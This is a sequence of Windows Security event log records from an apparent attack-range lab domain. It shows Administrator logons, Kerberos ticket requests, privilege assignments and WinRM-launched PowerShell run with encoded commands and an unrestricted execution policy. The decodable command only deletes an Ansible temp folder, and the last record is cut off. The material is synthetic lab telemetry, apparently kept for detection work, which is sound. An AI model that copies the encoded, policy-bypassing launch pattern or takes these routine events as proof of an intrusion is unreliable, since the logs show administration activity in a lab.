	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CAD5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251204
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251203
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251202
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251201
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CAB9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251200
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CAB9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251199
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CAB9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251198
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251197
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251196
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251195
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B631

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251194
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xff4
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10dc
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA2ADMALgA5ADcAMAA4ADcAMgAyAC0ANAA5ADgANwAzADkAMAA1ADUAOQAzADcANQA3ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251193
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B631

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251192
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B631
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251191
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251190
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251189
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251188
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a8
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABNAEEATABnAEEANQBBAEQAYwBBAE0AQQBBADQAQQBEAGMAQQBNAGcAQQB5AEEAQwAwAEEATgBBAEEANQBBAEQAZwBBAE4AdwBBAHoAQQBEAGsAQQBNAEEAQQAxAEEARABVAEEATwBRAEEAegBBAEQAYwBBAE4AUQBBADMAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251187
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x61c
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAyAEEARABNAEEATABnAEEANQBBAEQAYwBBAE0AQQBBADQAQQBEAGMAQQBNAGcAQQB5AEEAQwAwAEEATgBBAEEANQBBAEQAZwBBAE4AdwBBAHoAQQBEAGsAQQBNAEEAQQAxAEEARABVAEEATwBRAEEAegBBAEQAYwBBAE4AUQBBADMAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBB